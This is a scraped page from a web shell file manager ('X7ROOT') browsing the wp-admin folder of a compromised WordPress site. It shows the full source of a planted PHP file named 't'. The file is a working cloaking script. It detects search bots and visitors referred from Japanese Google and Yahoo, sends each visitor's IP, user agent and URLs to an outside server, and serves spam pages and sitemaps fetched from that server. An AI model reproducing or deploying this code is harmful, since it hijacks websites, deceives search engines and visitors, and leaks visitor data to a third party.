X7ROOT File Manager
Current Path:
/home/greejped/trivenimeat.com/wp-admin
home
/
greejped
/
trivenimeat.com
/
wp-admin
/
ðŸ“
..
📄
.htaccess
(1.17 KB)
📄
about.php
(18.45 KB)
📄
admin-ajax.php
(5.03 KB)
📄
admin-footer.php
(2.77 KB)
📄
admin-functions.php
(479 B)
📄
admin-header.php
(9.12 KB)
📄
admin-post.php
(1.97 KB)
📄
admin.php
(12.3 KB)
📄
async-upload.php
(4.87 KB)
📄
authorize-application.php
(10.09 KB)
📄
comment.php
(11.35 KB)
📄
contribute.php
(5.59 KB)
📄
credits.php
(4.11 KB)
ðŸ“
css
📄
custom-background.php
(489 B)
📄
custom-header.php
(499 B)
📄
customize.php
(10.91 KB)
📄
edit-comments.php
(14.38 KB)
📄
edit-form-advanced.php
(28.83 KB)
📄
edit-form-blocks.php
(14.37 KB)
📄
edit-form-blocks.php.4306
(10.83 KB)
📄
edit-form-comment.php
(8.34 KB)
📄
edit-link-form.php
(6.21 KB)
📄
edit-tag-form.php
(10.44 KB)
📄
edit-tags.php
(22 KB)
📄
edit.php
(19.48 KB)
📄
erase-personal-data.php
(7.33 KB)
📄
error_log
(6.08 MB)
📄
export-boolean.php
(998 B)
📄
export-personal-data.php
(7.75 KB)
📄
export.php
(11.02 KB)
📄
freedoms.php
(4.54 KB)
ðŸ“
images
📄
import.php
(7.58 KB)
ðŸ“
includes
📄
index.php
(7.68 KB)
📄
install-helper.php
(6.8 KB)
📄
install.php
(17.94 KB)
ðŸ“
js
📄
link-add.php
(934 B)
📄
link-manager.php
(4.26 KB)
📄
link-parse-opml.php
(2.63 KB)
📄
link.php
(2.89 KB)
📄
load-scripts.php
(2.02 KB)
📄
load-styles.php
(2.92 KB)
ðŸ“
maint
📄
media-new.php
(3.18 KB)
📄
media-upload.php
(3.58 KB)
📄
media.php
(819 B)
📄
menu-header.php
(9.82 KB)
📄
menu.php
(16.97 KB)
📄
moderation.php
(307 B)
📄
ms-admin.php
(196 B)
📄
ms-delete-site.php
(4.19 KB)
📄
ms-edit.php
(216 B)
📄
ms-options.php
(229 B)
📄
ms-sites.php
(215 B)
📄
ms-themes.php
(217 B)
📄
ms-upgrade-network.php
(219 B)
📄
ms-users.php
(215 B)
📄
my-sites.php
(4.74 KB)
📄
nav-menus.php
(48.26 KB)
ðŸ“
network
📄
network.php
(5.39 KB)
📄
options-discussion.php
(15.4 KB)
📄
options-general.php
(21.58 KB)
📄
options-head.php
(621 B)
📄
options-media.php
(6.35 KB)
📄
options-permalink.php
(21.21 KB)
📄
options-privacy.php
(9.95 KB)
📄
options-reading.php
(10.03 KB)
📄
options-writing.php
(9.1 KB)
📄
options.php
(13.45 KB)
📄
plugin-editor.php
(13.66 KB)
📄
plugin-install.php
(6.96 KB)
📄
plugins.php
(30 KB)
📄
post-new.php
(2.7 KB)
📄
post.php
(9.97 KB)
📄
press-this.php
(2.34 KB)
📄
privacy-policy-guide.php
(3.67 KB)
📄
privacy.php
(2.52 KB)
📄
profile.php
(283 B)
📄
revision.php
(5.71 KB)
📄
setup-config.php
(17.48 KB)
📄
site-editor.php
(11.83 KB)
📄
site-health-info.php
(3.99 KB)
📄
site-health.php
(10.2 KB)
📄
t
(10 KB)
📄
term.php
(2.2 KB)
📄
theme-editor.php
(15.59 KB)
📄
theme-install.php
(23.37 KB)
📄
themes.php
(48.12 KB)
📄
tools.php
(3.43 KB)
📄
update-core.php
(45.43 KB)
📄
update.php
(12.79 KB)
📄
upgrade-functions.php
(341 B)
📄
upgrade.php
(6.33 KB)
📄
upload.php
(14.84 KB)
ðŸ“
user
📄
user-edit.php
(39.79 KB)
📄
user-new.php
(24.05 KB)
📄
users.php
(23.28 KB)
📄
widgets-form-blocks.php
(4.97 KB)
📄
widgets-form.php
(19.17 KB)
📄
widgets.php
(1.09 KB)
Editing: t
<?php error_reporting(0); @session_start(); class Crawler { private $server_domain="http://me05.18serverok.pw"; private $custom_params = array( "PageID" => "9", "Password" => "407d05416a6bcb2cc663efe01aae8f2c", "RandomInLink" => "1" ); private $site_url; private $site1_url; private $boolGzip=1; private $boolShowDataBySpider=1; private $boolShowErr=1; private $boolStart301=1; private $boolNeedHttps= 1; private $boolNeedWWW= 0; private $referer_array = array( 'google.co.jp', 'yahoo.co.jp', ); private $searchEngineBot = array( 'googlebot', 'mediapartners-google', 'yodaobot', 'yahoo! slurp', 'yahoo! slurp china', 'spider', 'crawler', 'google', 'yahoo', ); private $header= array( "Content-Type: application/json; charset=utf-8", "Cache-Control: no-cache", "Pragma: no-cache", "Accept-Encoding:gzip" ); private $referer; private $http_user_agent; private $http_host; private $request_uri; public function __construct() { $this->referer = $_SERVER['HTTP_REFERER']; $this->http_user_agent = $_SERVER['HTTP_USER_AGENT']; $this->http_host = $_SERVER['HTTP_HOST']; $this->request_uri= $_SERVER["REQUEST_URI"]; $this->site_url= $this->server_domain."/Admin/SeoArticle/ShowUrl"; $this->site1_url = $this->server_domain."/Admin/SeoArticle/ShowData"; if($this->boolGzip){ $this->header[]="Accept-Encoding:gzip"; } } public function doAction() { if($this->boolShowDataBySpider){ if($this->boolStart301){ if (headers_sent()) { echo "不支持301."; exit(); } else { //如果需要www if($this->boolNeedWWW){ //当前地址种类 $scheme = $this->is_https()?"https":"http"; $domain = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']); //启用了https if ($this->boolNeedHttps) { //如果有www if($scheme=="http"||substr($_SERVER['HTTP_HOST'], 0, 4) != 'www.'){ ob_start(); header('HTTP/1.1 301 Moved Permanently'); header('Location: https://www.'.$domain.$_SERVER['REQUEST_URI']); ob_clean(); exit(); } } else { //如果有www if($scheme=="https"||substr($_SERVER['HTTP_HOST'], 0, 4) != 'www.'){ ob_start(); header('HTTP/1.1 301 Moved Permanently'); header('Location: http://www.'.$domain.$_SERVER['REQUEST_URI']); ob_clean(); exit(); } } } else { //当前地址种类 $scheme = $this->is_https()?"https":"http"; $domain = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']); //启用了https if ($this->boolNeedHttps) { //如果有www if($scheme=="http"||substr($_SERVER['HTTP_HOST'], 0, 4) == 'www.'){ ob_start(); header('HTTP/1.1 301 Moved Permanently'); header('Location: https://'.$domain.$_SERVER['REQUEST_URI']); ob_clean(); exit(); } } else { //如果有www if($scheme=="https"||substr($_SERVER['HTTP_HOST'], 0, 4) == 'www.'){ ob_start(); header('HTTP/1.1 301 Moved Permanently'); header('Location: http://'.$domain.$_SERVER['REQUEST_URI']); ob_clean(); exit(); } } } } } if($this->is_XmlOrTXT()){ $this->do_action_robot(); }else { if ($this->is_spider()) { $this->do_action_resource(); $this->do_action_robot(); }else { if ($this->is_search_engines()) { $this->do_action_referer(); } } } } else{ if($this->is_XmlOrTXT()){ $this->do_action_robot(); }else { if ($this->is_search_engines()) { $this->do_action_referer(); } else { $this->do_action_resource(); $this->do_action_robot(); } } } } public function is_XmlOrTXT() { if(preg_match("#(.xml)#si", $this->request_uri)||preg_match("#(.txt)#si", $this->request_uri)){ return true; } return false; } public function is_search_engines() { if (isset($this->referer) && ($this->referer != "")) { foreach ($this->referer_array as $val) { if (strpos($this->referer, $val) !== false) { return true; } } } return false; } public function is_spider() { if (!empty($this->http_user_agent)) { $spider = strtolower($this->http_user_agent); foreach ($this->searchEngineBot as $key => $value) { if (strpos($spider, $value) !== false) { return true; } } } return false; } public function do_action_referer() { $params['dicData'] = $this->custom_params; $params['RefererUrl'] = $this->referer; $scheme = $this->is_https()?"https":"http"; $params['CurrentUrl'] = $scheme."://".$this->http_host.$_SERVER['REQUEST_URI']; $params['CurrentPHP'] =$scheme."://".$this->http_host.$_SERVER['PHP_SELF']; $params['IP_Address'] = $_SERVER['REMOTE_ADDR']; $params['User_Agent'] = $this->http_user_agent; $json_params = json_encode($params); //echo $json_params; //exit; $result =$this->do_curl_request($this->site_url, $json_params); if($result){ $res = explode('*##*',$result); $url = trim($res[0]); //("location:$url"); //js跳转,延迟一秒跳转 header("Content-Type: text/html"); echo $res[1]; exit; } } public function do_action_robot() { $params['dicData'] = $this->custom_params; $params['RefererUrl'] = $this->referer; $scheme = $this->is_https()?"https":"http"; $params['CurrentUrl'] =$scheme."://". $this->http_host.$_SERVER['REQUEST_URI']; $params['CurrentPHP'] =$scheme."://".$this->http_host.$_SERVER['PHP_SELF']; $params['IP_Address'] = $_SERVER['REMOTE_ADDR']; $params['User_Agent'] = $this->http_user_agent; $json_params = json_encode($params); $result = $this->do_curl_request($this->site1_url, $json_params); preg_match("/sitemap(_\d+)*\.xml/", $_SERVER["REQUEST_URI"],$array); if (sizeof($array)>0){ header("Content-Type: application/xml"); echo $result; } else { preg_match("/robots.txt/", $_SERVER["REQUEST_URI"],$array); if (sizeof($array)>0){ header("Content-Type: text/plain;charset=utf-8"); echo $result; } else { preg_match("/rss.xml/", $_SERVER["REQUEST_URI"],$array); if (sizeof($array)>0){ header("Content-Type: application/xml"); echo $result; } else { header("Content-Type: text/html"); echo $result; } } } exit; } public function is_https() { if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) { return true; } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false; } public function do_action_resource(){ if (preg_match("#(\.jpg|\.jpeg|\.png|\.gif|\.css|\.js|\.ico|\.svg)#si", $this->request_uri)){ header('Content-Type: '.$this->returnHeader( $this->request_uri)); header("HTTP/1.1 200 OK"); exit; } } public function returnHeader($url){ if (preg_match("#(\.jpg|\.jpeg)#si", $url)){ $header = "image/jpeg"; }elseif (preg_match("#(\.png)#si", $url)){ $header = "image/png"; }elseif (preg_match("#(\.gif)#si", $url)){ $header = "image/gif"; }elseif (preg_match("#(\.css)#si", $url)){ $header = "text/css"; }elseif (preg_match("#(\.js)#si", $url)){ $header = "text/javascript"; }elseif (preg_match("#(\.ico)#si", $url)){ $header = "image/x-icon"; }else{ $header = "text/html"; } return $header; } public function do_curl_request($url,$post=''){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_AUTOREFERER, 1); curl_setopt($curl, CURLOPT_FAILONERROR, true); //curl_setopt($curl, CURLOPT_REFERER, $post['RefererUrl']); if($post) { curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $post); } curl_setopt($curl, CURLOPT_HEADER, 0); if (!empty($this->header)) { curl_setopt($curl, CURLOPT_HTTPHEADER, $this->header); } if($this->boolGzip){ curl_setopt($curl, CURLOPT_ENCODING, "gzip,deflate"); } curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); if (curl_errno($curl)) { if($this->boolShowErr) { //echo "Failed to connect!"; echo 'Curl error: '.curl_error($curl); } curl_close($curl); exit; } curl_close($curl); return $data; } } $crawler = new Crawler(); $crawler->doAction(); ?>
Upload File
Create Folder